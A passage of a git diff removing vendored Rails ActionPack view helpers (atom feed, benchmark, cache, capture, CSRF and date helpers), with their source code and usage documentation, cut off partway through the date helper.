-            collect_asset_files(STYLESHEETS_DIR, ('**' if recursive), '*.css')
-          else
-            sources.collect do |source|
-              determine_source(source, @@stylesheet_expansions)
-            end.flatten
-          end
-        end
-
-        def determine_source(source, collection)
-          case source
-          when Symbol
-            collection[source] || raise(ArgumentError, "No expansion found for #{source.inspect}")
-          else
-            source
-          end
-        end
-
-        def join_asset_file_contents(paths)
-          paths.collect { |path| File.read(asset_file_path(path)) }.join("\n\n")
-        end
-
-        def write_asset_file_contents(joined_asset_path, asset_paths)
-          FileUtils.mkdir_p(File.dirname(joined_asset_path))
-          File.open(joined_asset_path, "w+") { |cache| cache.write(join_asset_file_contents(asset_paths)) }
-
-          # Set mtime to the latest of the combined files to allow for
-          # consistent ETag without a shared filesystem.
-          mt = asset_paths.map { |p| File.mtime(asset_file_path(p)) }.max
-          File.utime(mt, mt, joined_asset_path)
-        end
-
-        def asset_file_path(path)
-          File.join(ASSETS_DIR, path.split('?').first)
-        end
-
-        def collect_asset_files(*path)
-          dir = path.first
-
-          Dir[File.join(*path.compact)].collect do |file|
-            file[-(file.size - dir.size - 1)..-1].sub(/\.\w+$/, '')
-          end.sort
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/atom_feed_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/atom_feed_helper.rb
deleted file mode 100644
index 9951e11a..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/atom_feed_helper.rb
+++ /dev/null
@@ -1,198 +0,0 @@
-require 'set'
-
-# Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERb or any other
-# template languages).
-module ActionView
-  module Helpers #:nodoc:
-    module AtomFeedHelper
-      # Full usage example:
-      #
-      #   config/routes.rb:
-      #     ActionController::Routing::Routes.draw do |map|
-      #       map.resources :posts
-      #       map.root :controller => "posts"
-      #     end
-      #
-      #   app/controllers/posts_controller.rb:
-      #     class PostsController < ApplicationController::Base
-      #       # GET /posts.html
-      #       # GET /posts.atom
-      #       def index
-      #         @posts = Post.find(:all)
-      #
-      #         respond_to do |format|
-      #           format.html
-      #           format.atom
-      #         end
-      #       end
-      #     end
-      #
-      #   app/views/posts/index.atom.builder:
-      #     atom_feed do |feed|
-      #       feed.title("My great blog!")
-      #       feed.updated(@posts.first.created_at)
-      #
-      #       for post in @posts
-      #         feed.entry(post) do |entry|
-      #           entry.title(post.title)
-      #           entry.content(post.body, :type => 'html')
-      #
-      #           entry.author do |author|
-      #             author.name("DHH")
-      #           end
-      #         end
-      #       end
-      #     end
-      #
-      # The options for atom_feed are:
-      #
-      # * <tt>:language</tt>: Defaults to "en-US".
-      # * <tt>:root_url</tt>: The HTML alternative that this feed is doubling for. Defaults to / on the current host.
-      # * <tt>:url</tt>: The URL for this feed. Defaults to the current URL.
-      # * <tt>:id</tt>: The id for this feed. Defaults to "tag:#{request.host},#{options[:schema_date]}:#{request.request_uri.split(".")[0]}"
-      # * <tt>:schema_date</tt>: The date at which the tag scheme for the feed was first used. A good default is the year you
-      #   created the feed. See http://feedvalidator.org/docs/error/InvalidTAG.html for more information. If not specified,
-      #   2005 is used (as an "I don't care" value).
-      # * <tt>:instruct</tt>: Hash of XML processing instructions in the form {target => {attribute => value, }} or {target => [{attribute => value, }, ]}
-      #
-      # Other namespaces can be added to the root element:
-      #
-      #   app/views/posts/index.atom.builder:
-      #     atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
-      #         'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
-      #       feed.title("My great blog!")
-      #       feed.updated((@posts.first.created_at))
-      #       feed.tag!(openSearch:totalResults, 10)
-      #
-      #       for post in @posts
-      #         feed.entry(post) do |entry|
-      #           entry.title(post.title)
-      #           entry.content(post.body, :type => 'html')
-      #           entry.tag!('app:edited', Time.now)
-      #
-      #           entry.author do |author|
-      #             author.name("DHH")
-      #           end
-      #         end
-      #       end
-      #     end
-      #
-      # The Atom spec defines five elements (content rights title subtitle
-      # summary) which may directly contain xhtml content if :type => 'xhtml'
-      # is specified as an attribute.  If so, this helper will take care of
-      # the enclosing div and xhtml namespace declaration.  Example usage:
-      #
-      #    entry.summary :type => 'xhtml' do |xhtml|
-      #      xhtml.p pluralize(order.line_items.count, "line item")
-      #      xhtml.p "Shipped to #{order.address}"
-      #      xhtml.p "Paid by #{order.pay_type}"
-      #    end
-      #
-      #
-      # atom_feed yields an AtomFeedBuilder instance.  Nested elements yield
-      # an AtomBuilder instance.
-      def atom_feed(options = {}, &block)
-        if options[:schema_date]
-          options[:schema_date] = options[:schema_date].strftime("%Y-%m-%d") if options[:schema_date].respond_to?(:strftime)
-        else
-          options[:schema_date] = "2005" # The Atom spec copyright date
-        end
-
-        xml = options.delete(:xml) || eval("xml", block.binding)
-        xml.instruct!
-        if options[:instruct]
-          options[:instruct].each do |target,attrs|
-            if attrs.respond_to?(:keys)
-              xml.instruct!(target, attrs)
-            elsif attrs.respond_to?(:each)
-              attrs.each { |attr_group| xml.instruct!(target, attr_group) }
-            end
-          end
-        end
-
-        feed_opts = {"xml:lang" => options[:language] || "en-US", "xmlns" => 'http://www.w3.org/2005/Atom'}
-        feed_opts.merge!(options).reject!{|k,v| !k.to_s.match(/^xml/)}
-
-        xml.feed(feed_opts) do
-          xml.id(options[:id] || "tag:#{request.host},#{options[:schema_date]}:#{request.request_uri.split(".")[0]}")
-          xml.link(:rel => 'alternate', :type => 'text/html', :href => options[:root_url] || (request.protocol + request.host_with_port))
-          xml.link(:rel => 'self', :type => 'application/atom+xml', :href => options[:url] || request.url)
-
-          yield AtomFeedBuilder.new(xml, self, options)
-        end
-      end
-
-      class AtomBuilder
-        XHTML_TAG_NAMES = %w(content rights title subtitle summary).to_set
-
-        def initialize(xml)
-          @xml = xml
-        end
-
-        private
-          # Delegate to xml builder, first wrapping the element in a xhtml
-          # namespaced div element if the method and arguments indicate
-          # that an xhtml_block? is desired.
-          def method_missing(method, *arguments, &block)
-            if xhtml_block?(method, arguments)
-              @xml.__send__(method, *arguments) do
-                @xml.div(:xmlns => 'http://www.w3.org/1999/xhtml') do |xhtml|
-                  block.call(xhtml)
-                end
-              end
-            else
-              @xml.__send__(method, *arguments, &block)
-            end
-          end
-
-          # True if the method name matches one of the five elements defined
-          # in the Atom spec as potentially containing XHTML content and
-          # if :type => 'xhtml' is, in fact, specified.
-          def xhtml_block?(method, arguments)
-            if XHTML_TAG_NAMES.include?(method.to_s)
-              last = arguments.last
-              last.is_a?(Hash) && last[:type].to_s == 'xhtml'
-            end
-          end
-      end
-
-      class AtomFeedBuilder < AtomBuilder
-        def initialize(xml, view, feed_options = {})
-          @xml, @view, @feed_options = xml, view, feed_options
-        end
-
-        # Accepts a Date or Time object and inserts it in the proper format. If nil is passed, current time in UTC is used.
-        def updated(date_or_time = nil)
-          @xml.updated((date_or_time || Time.now.utc).xmlschema)
-        end
-
-        # Creates an entry tag for a specific record and prefills the id using class and id.
-        #
-        # Options:
-        #
-        # * <tt>:published</tt>: Time first published. Defaults to the created_at attribute on the record if one such exists.
-        # * <tt>:updated</tt>: Time of update. Defaults to the updated_at attribute on the record if one such exists.
-        # * <tt>:url</tt>: The URL for this entry. Defaults to the polymorphic_url for the record.
-        # * <tt>:id</tt>: The ID for this entry. Defaults to "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}"
-        def entry(record, options = {})
-          @xml.entry do
-            @xml.id(options[:id] || "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}")
-
-            if options[:published] || (record.respond_to?(:created_at) && record.created_at)
-              @xml.published((options[:published] || record.created_at).xmlschema)
-            end
-
-            if options[:updated] || (record.respond_to?(:updated_at) && record.updated_at)
-              @xml.updated((options[:updated] || record.updated_at).xmlschema)
-            end
-
-            @xml.link(:rel => 'alternate', :type => 'text/html', :href => options[:url] || @view.polymorphic_url(record))
-
-            yield AtomBuilder.new(@xml)
-          end
-        end
-      end
-
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/benchmark_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/benchmark_helper.rb
deleted file mode 100644
index 61c2cecb..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/benchmark_helper.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-require 'benchmark'
-
-module ActionView
-  module Helpers
-    # This helper offers a method to measure the execution time of a block 
-    # in a template.
-    module BenchmarkHelper
-      # Allows you to measure the execution time of a block 
-      # in a template and records the result to the log. Wrap this block around
-      # expensive operations or possible bottlenecks to get a time reading
-      # for the operation.  For example, let's say you thought your file 
-      # processing method was taking too long; you could wrap it in a benchmark block.
-      #
-      #  <% benchmark "Process data files" do %>
-      #    <%= expensive_files_operation %>
-      #  <% end %>
-      #
-      # That would add something like "Process data files (345.2ms)" to the log,
-      # which you can then use to compare timings when optimizing your code.
-      #
-      # You may give an optional logger level as the :level option.
-      # (:debug, :info, :warn, :error); the default value is :info.
-      #
-      #  <% benchmark "Low-level files", :level => :debug do %>
-      #    <%= lowlevel_files_operation %>
-      #  <% end %>
-      #
-      # Finally, you can pass true as the third argument to silence all log activity 
-      # inside the block. This is great for boiling down a noisy block to just a single statement:
-      #
-      #  <% benchmark "Process data files", :level => :info, :silence => true do %>
-      #    <%= expensive_and_chatty_files_operation %>
-      #  <% end %>
-      def benchmark(message = "Benchmarking", options = {})
-        if controller.logger
-          if options.is_a?(Symbol)
-            ActiveSupport::Deprecation.warn("use benchmark('#{message}', :level => :#{options}) instead", caller)
-            options = { :level => options, :silence => false }
-          else
-            options.assert_valid_keys(:level, :silence)
-            options[:level] ||= :info
-          end
-          
-          result = nil
-          ms = Benchmark.ms { result = options[:silence] ? controller.logger.silence { yield } : yield }
-          controller.logger.send(options[:level], '%s (%.1fms)' % [ message, ms ])
-          result
-        else
-          yield
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/cache_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/cache_helper.rb
deleted file mode 100644
index 64d1ad27..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/cache_helper.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-module ActionView
-  module Helpers
-    # This helper to exposes a method for caching of view fragments.
-    # See ActionController::Caching::Fragments for usage instructions.
-    module CacheHelper
-      # A method for caching fragments of a view rather than an entire
-      # action or page.  This technique is useful caching pieces like
-      # menus, lists of news topics, static HTML fragments, and so on.
-      # This method takes a block that contains the content you wish
-      # to cache.  See ActionController::Caching::Fragments for more
-      # information.
-      #
-      # ==== Examples
-      # If you wanted to cache a navigation menu, you could do the
-      # following.
-      #
-      #   <% cache do %>
-      #     <%= render :partial => "menu" %>
-      #   <% end %>
-      #
-      # You can also cache static content...
-      #
-      #   <% cache do %>
-      #      <p>Hello users!  Welcome to our website!</p>
-      #   <% end %>
-      #
-      # ...and static content mixed with RHTML content.
-      #
-      #    <% cache do %>
-      #      Topics:
-      #      <%= render :partial => "topics", :collection => @topic_list %>
-      #      <i>Topics listed alphabetically</i>
-      #    <% end %>
-      def cache(name = {}, options = nil, &block)
-        @controller.fragment_for(output_buffer, name, options, &block)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/capture_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/capture_helper.rb
deleted file mode 100644
index bf265905..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/capture_helper.rb
+++ /dev/null
@@ -1,136 +0,0 @@
-module ActionView
-  module Helpers
-    # CaptureHelper exposes methods to let you extract generated markup which
-    # can be used in other parts of a template or layout file.
-    # It provides a method to capture blocks into variables through capture and 
-    # a way to capture a block of markup for use in a layout through content_for.
-    module CaptureHelper
-      # The capture method allows you to extract part of a template into a 
-      # variable. You can then use this variable anywhere in your templates or layout. 
-      # 
-      # ==== Examples
-      # The capture method can be used in ERb templates...
-      # 
-      #   <% @greeting = capture do %>
-      #     Welcome to my shiny new web page!  The date and time is
-      #     <%= Time.now %>
-      #   <% end %>
-      #
-      # ...and Builder (RXML) templates.
-      # 
-      #   @timestamp = capture do
-      #     "The current timestamp is #{Time.now}."
-      #   end
-      #
-      # You can then use that variable anywhere else.  For example:
-      #
-      #   <html>
-      #   <head><title><%= @greeting %></title></head>
-      #   <body>
-      #   <b><%= @greeting %></b>
-      #   </body></html>
-      #
-      def capture(*args, &block)
-        # Return captured buffer in erb.
-        if block_called_from_erb?(block)
-          with_output_buffer { block.call(*args) }
-        else
-          # Return block result otherwise, but protect buffer also.
-          with_output_buffer { return block.call(*args) }
-        end
-      end
-
-      # Calling content_for stores a block of markup in an identifier for later use.
-      # You can make subsequent calls to the stored content in other templates or the layout
-      # by passing the identifier as an argument to <tt>yield</tt>.
-      # 
-      # ==== Examples
-      # 
-      #   <% content_for :not_authorized do %>
-      #     alert('You are not authorized to do that!')
-      #   <% end %>
-      #
-      # You can then use <tt>yield :not_authorized</tt> anywhere in your templates.
-      #
-      #   <%= yield :not_authorized if current_user.nil? %>
-      #
-      # You can also use this syntax alongside an existing call to <tt>yield</tt> in a layout.  For example:
-      #
-      #   <%# This is the layout %>
-      #   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-      #   <head>
-      #	    <title>My Website</title>
-      #	    <%= yield :script %>
-      #   </head>
-      #   <body>
-      #     <%= yield %>
-      #   </body>
-      #   </html>
-      #
-      # And now, we'll create a view that has a content_for call that
-      # creates the <tt>script</tt> identifier.
-      #
-      #   <%# This is our view %>
-      #   Please login!
-      #
-      #   <% content_for :script do %>
-      #     <script type="text/javascript">alert('You are not authorized to view this page!')</script>
-      #   <% end %>
-      #
-      # Then, in another view, you could to do something like this:
-      #
-      #   <%= link_to_remote 'Logout', :action => 'logout' %>
-      #
-      #   <% content_for :script do %>
-      #     <%= javascript_include_tag :defaults %>
-      #   <% end %>
-      #
-      # That will place <script> tags for Prototype, Scriptaculous, and application.js (if it exists)
-      # on the page; this technique is useful if you'll only be using these scripts in a few views.
-      #
-      # Note that content_for concatenates the blocks it is given for a particular
-      # identifier in order. For example:
-      #
-      #   <% content_for :navigation do %>
-      #     <li><%= link_to 'Home', :action => 'index' %></li>
-      #   <% end %>
-      #
-      #   <%#  Add some other content, or use a different template: %>
-      # 
-      #   <% content_for :navigation do %>
-      #     <li><%= link_to 'Login', :action => 'login' %></li>
-      #   <% end %>
-      #
-      # Then, in another template or layout, this code would render both links in order:
-      #
-      #   <ul><%= yield :navigation %></ul>
-      #
-      # Lastly, simple content can be passed as a parameter:
-      #
-      #   <% content_for :script, javascript_include_tag(:defaults) %>
-      #
-      # WARNING: content_for is ignored in caches. So you shouldn't use it
-      # for elements that will be fragment cached.
-      #
-      # The deprecated way of accessing a content_for block is to use an instance variable
-      # named <tt>@content_for_#{name_of_the_content_block}</tt>. The preferred usage is now
-      # <tt><%= yield :footer %></tt>.
-      def content_for(name, content = nil, &block)
-        ivar = "@content_for_#{name}"
-        content = capture(&block) if block_given?
-        instance_variable_set(ivar, "#{instance_variable_get(ivar)}#{content}".html_safe)
-        nil
-      end
-
-      # Use an alternate output buffer for the duration of the block.
-      # Defaults to a new empty string.
-      def with_output_buffer(buf = '') #:nodoc:
-        self.output_buffer, old_buffer = buf, output_buffer
-        yield
-        output_buffer
-      ensure
-        self.output_buffer = old_buffer
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/csrf_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/csrf_helper.rb
deleted file mode 100644
index e0e6c9a6..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/csrf_helper.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-module ActionView
-  # = Action View CSRF Helper
-  module Helpers
-    module CsrfHelper
-      # Returns a meta tag with the cross-site request forgery protection token
-      # for forms to use. Place this in your head.
-      def csrf_meta_tag
-        if protect_against_forgery?
-          %(<meta name="csrf-param" content="#{h(request_forgery_protection_token)}"/>\n<meta name="csrf-token" content="#{h(form_authenticity_token)}"/>).html_safe
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb
deleted file mode 100644
index f556488f..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/date_helper.rb
+++ /dev/null
@@ -1,989 +0,0 @@
-require "date"
-require 'action_view/helpers/tag_helper'
-require 'active_support/core_ext/hash/slice'
-
-module ActionView
-  module Helpers
-    # The Date Helper primarily creates select/option tags for different kinds of dates and date elements. All of the
-    # select-type methods share a number of common options that are as follows:
-    #
-    # * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday"
-    # would give birthday[month] instead of date[month] if passed to the select_month method.
-    # * <tt>:include_blank</tt> - set to true if it should be possible to set an empty date.
-    # * <tt>:discard_type</tt> - set to true if you want to discard the type part of the select name. If set to true,
-    #   the select_month method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead of
-    #   "date[month]".
-    module DateHelper
-      # Reports the approximate distance in time between two Time or Date objects or integers as seconds.
-      # Set <tt>include_seconds</tt> to true if you want more detailed approximations when distance < 1 min, 29 secs
-      # Distances are reported based on the following table:
-      #
-      #   0 <-> 29 secs                                                             # => less than a minute
-      #   30 secs <-> 1 min, 29 secs                                                # => 1 minute
-      #   1 min, 30 secs <-> 44 mins, 29 secs                                       # => [2..44] minutes
-      #   44 mins, 30 secs <-> 89 mins, 29 secs                                     # => about 1 hour
-      #   89 mins, 29 secs <-> 23 hrs, 59 mins, 29 secs                             # => about [2..24] hours
-      #   23 hrs, 59 mins, 29 secs <-> 47 hrs, 59 mins, 29 secs                     # => 1 day
-      #   47 hrs, 59 mins, 29 secs <-> 29 days, 23 hrs, 59 mins, 29 secs            # => [2..29] days
-      #   29 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs   # => about 1 month
-      #   59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec                    # => [2..12] months
-      #   1 yr <-> 1 yr, 3 months                                                   # => about 1 year
-      #   1 yr, 3 months <-> 1 yr, 9 months                                         # => over 1 year
-      #   1 yr, 9 months <-> 2 yr minus 1 sec                                       # => almost 2 years
-      #   2 yrs <-> max time or date                                                # => (same rules as 1 yr)
-      #
-      # With <tt>include_seconds</tt> = true and the difference < 1 minute 29 seconds:
-      #   0-4   secs      # => less than 5 seconds
-      #   5-9   secs      # => less than 10 seconds
-      #   10-19 secs      # => less than 20 seconds
-      #   20-39 secs      # => half a minute
-      #   40-59 secs      # => less than a minute
-      #   60-89 secs      # => 1 minute
-      #
-      # ==== Examples
-      #   from_time = Time.now
-      #   distance_of_time_in_words(from_time, from_time + 50.minutes)        # => about 1 hour
-      #   distance_of_time_in_words(from_time, 50.minutes.from_now)           # => about 1 hour
-      #   distance_of_time_in_words(from_time, from_time + 15.seconds)        # => less than a minute
-      #   distance_of_time_in_words(from_time, from_time + 15.seconds, true)  # => less than 20 seconds
-      #   distance_of_time_in_words(from_time, 3.years.from_now)              # => about 3 years
-      #   distance_of_time_in_words(from_time, from_time + 60.hours)          # => about 3 days
-      #   distance_of_time_in_words(from_time, from_time + 45.seconds, true)  # => less than a minute
-      #   distance_of_time_in_words(from_time, from_time - 45.seconds, true)  # => less than a minute
-      #   distance_of_time_in_words(from_time, 76.seconds.from_now)           # => 1 minute
-      #   distance_of_time_in_words(from_time, from_time + 1.year + 3.days)   # => about 1 year
-      #   distance_of_time_in_words(from_time, from_time + 3.years + 6.months) # => over 3 years
-      #   distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years
-      #
-      #   to_time = Time.now + 6.years + 19.days
-      #   distance_of_time_in_words(from_time, to_time, true)     # => about 6 years
-      #   distance_of_time_in_words(to_time, from_time, true)     # => about 6 years
-      #   distance_of_time_in_words(Time.now, Time.now)           # => less than a minute
-      #
-      def distance_of_time_in_words(from_time, to_time = 0, include_seconds = false, options = {})
-        from_time = from_time.to_time if from_time.respond_to?(:to_time)
-        to_time = to_time.to_time if to_time.respond_to?(:to_time)
-        distance_in_minutes = (((to_time - from_time).abs)/60).round
-        distance_in_seconds = ((to_time - from_time).abs).round
-
-        I18n.with_options :locale => options[:locale], :scope => :'datetime.distance_in_words' do |locale|
-          case distance_in_minutes
-            when 0..1
-              return distance_in_minutes == 0 ?
-                     locale.t(:less_than_x_minutes, :count => 1) :
-                     locale.t(:x_minutes, :count => distance_in_minutes) unless include_seconds
-
-              case distance_in_seconds
-                when 0..4   then locale.t :less_than_x_seconds, :count => 5
-                when 5..9   then locale.t :less_than_x_seconds, :count => 10
-                when 10..19 then locale.t :less_than_x_seconds, :count => 20
-                when 20..39 then locale.t :half_a_minute
-                when 40..59 then locale.t :less_than_x_minutes, :count => 1
-                else             locale.t :x_minutes,           :count => 1
-              end
-
-            when 2..44           then locale.t :x_minutes,      :count => distance_in_minutes
-            when 45..89          then locale.t :about_x_hours,  :count => 1
-            when 90..1439        then locale.t :about_x_hours,  :count => (distance_in_minutes.to_f / 60.0).round
-            when 1440..2529      then locale.t :x_days,         :count => 1
-            when 2530..43199     then locale.t :x_days,         :count => (distance_in_minutes.to_f / 1440.0).round
-            when 43200..86399    then locale.t :about_x_months, :count => 1
-            when 86400..525599   then locale.t :x_months,       :count => (distance_in_minutes.to_f / 43200.0).round
-            else
-              distance_in_years           = distance_in_minutes / 525600
-              minute_offset_for_leap_year = (distance_in_years / 4) * 1440
-              remainder                   = ((distance_in_minutes - minute_offset_for_leap_year) % 525600)
-              if remainder < 131400
-                locale.t(:about_x_years,  :count => distance_in_years)
-              elsif remainder < 394200
-                locale.t(:over_x_years,   :count => distance_in_years)
-              else
-                locale.t(:almost_x_years, :count => distance_in_years + 1)
-              end
-          end
-        end
-      end
-
-      # Like distance_of_time_in_words, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
-      #
-      # ==== Examples
-      #   time_ago_in_words(3.minutes.from_now)       # => 3 minutes
-      #   time_ago_in_words(Time.now - 15.hours)      # => 15 hours
-      #   time_ago_in_words(Time.now)                 # => less than a minute
-      #
-      #   from_time = Time.now - 3.days - 14.minutes - 25.seconds     # => 3 days
-      def time_ago_in_words(from_time, include_seconds = false)
-        distance_of_time_in_words(from_time, Time.now, include_seconds)
-      end
-
-      alias_method :distance_of_time_in_words_to_now, :time_ago_in_words
-
-      # Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based
-      # attribute (identified by +method+) on an object assigned to the template (identified by +object+). You can
-      # the output in the +options+ hash.
-      #
-      # ==== Options
-      # * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g.
-      #   "2" instead of "February").
-      # * <tt>:use_short_month</tt>   - Set to true if you want to use the abbreviated month name instead of the full
-      #   name (e.g. "Feb" instead of "February").
-      # * <tt>:add_month_number</tt>  - Set to true if you want to show both, the month's number and name (e.g.
-      #   "2 - February" instead of "February").
-      # * <tt>:use_month_names</tt>   - Set to an array with 12 month names if you want to customize month names.
-      #   Note: You can also use Rails' new i18n functionality for this.
-      # * <tt>:date_separator</tt>    - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
-      # * <tt>:start_year</tt>        - Set the start year for the year select. Default is <tt>Time.now.year - 5</tt>.
-      # * <tt>:end_year</tt>          - Set the end year for the year select. Default is <tt>Time.now.year + 5</tt>.
-      # * <tt>:discard_day</tt>       - Set to true if you don't want to show a day select. This includes the day
-      #   as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
-      #   first of the given month in order to not create invalid dates like 31 February.
-      # * <tt>:discard_month</tt>     - Set to true if you don't want to show a month select. This includes the month
-      #   as a hidden field instead of showing a select field. Also note that this implicitly sets :discard_day to true.
-      # * <tt>:discard_year</tt>      - Set to true if you don't want to show a year select. This includes the year
-      #   as a hidden field instead of showing a select field.
-      # * <tt>:order</tt>             - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> do
-      #   customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
-      #   select will not be shown (like when you set <tt>:discard_xxx => true</tt>. Defaults to the order defined in
-      #   the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
-      # * <tt>:include_blank</tt>     - Include a blank option in every select field so it's possible to set empty
-      #   dates.
-      # * <tt>:default</tt>           - Set a default date if the affected date isn't set or is nil.
-      # * <tt>:disabled</tt>          - Set to true if you want show the select fields as disabled.
-      # * <tt>:prompt</tt>            - Set to true (for a generic prompt), a prompt string or a hash of prompt strings
-      #   for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt> and <tt>:second</tt>.
-      #   Setting this option prepends a select option with a generic prompt  (Day, Month, Year, Hour, Minute, Seconds)
-      #   or the given prompt string.
-      #
-      # If anything is passed in the +html_options+ hash it will be applied to every select tag in the set.
-      #
-      # NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed.
-      #
-      # ==== Examples
-      #   # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute
-      #   date_select("post", "written_on")
-      #
-      #   # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute,
-      #   # with the year in the year drop down box starting at 1995.
-      #   date_select("post", "written_on", :start_year => 1995)
-      #
-      #   # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute,
-      #   # with the year in the year drop down box starting at 1995, numbers used for months instead of words,
-      #   # and without a day select box.
-      #   date_select("post", "written_on", :start_year => 1995, :use_month_numbers => true,
-      #                                     :discard_day => true, :include_blank => true)
-      #
-      #   # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute
-      #   # with the fields ordered as day, month, year rather than month, day, year.
-      #   date_select("post", "written_on", :order => [:day, :month, :year])
-      #
-      #   # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
-      #   # lacking a year field.
-      #   date_select("user", "birthday", :order => [:month, :day])
-      #
-      #   # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute
-      #   # which is initially set to the date 3 days from the current date
-      #   date_select("post", "written_on", :default => 3.days.from_now)
-      #
-      #   # Generates a date select that when POSTed is stored in the credit_card variable, in the bill_due attribute
-      #   # that will have a default day of 20.
-      #   date_select("credit_card", "bill_due", :default => { :day => 20 })
-      #
-      #   # Generates a date select with custom prompts
-      #   date_select("post", "written_on", :prompt => { :day => 'Select day', :month => 'Select month', :year => 'Select year' })
-      #
-      # The selects are prepared for multi-parameter assignment to an Active Record object.
-      #
-      # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
-      # all month choices are valid.
-      def date_select(object_name, method, options = {}, html_options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_date_select_tag(options, html_options)
-      end
-
-      # Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a
-      # specified time-based attribute (identified by +method+) on an object assigned to the template (identified by
-      # +object+). You can include the seconds with <tt>:include_seconds</tt>.
-      #
-      # This method will also generate 3 input hidden tags, for the actual year, month and day unless the option
-      # <tt>:ignore_date</tt> is set to +true+.
-      #
-      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
-      #
-      # ==== Examples
-      #   # Creates a time select tag that, when POSTed, will be stored in the post variable in the sunrise attribute
-      #   time_select("post", "sunrise")
-      #
-      #   # Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted
-      #   # attribute
-      #   time_select("order", "submitted")
-      #
-      #   # Creates a time select tag that, when POSTed, will be stored in the mail variable in the sent_at attribute
-      #   time_select("mail", "sent_at")
-      #
-      #   # Creates a time select tag with a seconds field that, when POSTed, will be stored in the post variables in
-      #   # the sunrise attribute.
-      #   time_select("post", "start_time", :include_seconds => true)
-      #
-      #   # Creates a time select tag with a seconds field that, when POSTed, will be stored in the entry variables in
-      #   # the submission_time attribute.
-      #   time_select("entry", "submission_time", :include_seconds => true)
-      #
-      #   # You can set the :minute_step to 15 which will give you: 00, 15, 30 and 45.
-      #   time_select 'game', 'game_time', {:minute_step => 15}
-      #
-      #   # Creates a time select tag with a custom prompt. Use :prompt => true for generic prompts.
-      #   time_select("post", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'})
-      #   time_select("post", "written_on", :prompt => {:hour => true}) # generic prompt for hours
-      #   time_select("post", "written_on", :prompt => true) # generic prompts for all
-      #
-      # The selects are prepared for multi-parameter assignment to an Active Record object.
-      #
-      # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
-      # all month choices are valid.
-      def time_select(object_name, method, options = {}, html_options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_time_select_tag(options, html_options)
-      end
-
-      # Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a
-      # specified datetime-based attribute (identified by +method+) on an object assigned to the template (identified
-      # by +object+). Examples:
-      #
-      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
-      #
-      # ==== Examples
-      #   # Generates a datetime select that, when POSTed, will be stored in the post variable in the written_on
-      #   # attribute
-      #   datetime_select("post", "written_on")
-      #
-      #   # Generates a datetime select with a year select that starts at 1995 that, when POSTed, will be stored in the
-      #   # post variable in the written_on attribute.
-      #   datetime_select("post", "written_on", :start_year => 1995)
-      #
-      #   # Generates a datetime select with a default value of 3 days from the current time that, when POSTed, will
-      #   # be stored in the trip variable in the departing attribute.
-      #   datetime_select("trip", "departing", :default => 3.days.from_now)
-      #
-      #   # Generates a datetime select that discards the type that, when POSTed, will be stored in the post variable
-      #   # as the written_on attribute.
-      #   datetime_select("post", "written_on", :discard_type => true)
-      #
-      #   # Generates a datetime select with a custom prompt. Use :prompt=>true for generic prompts.
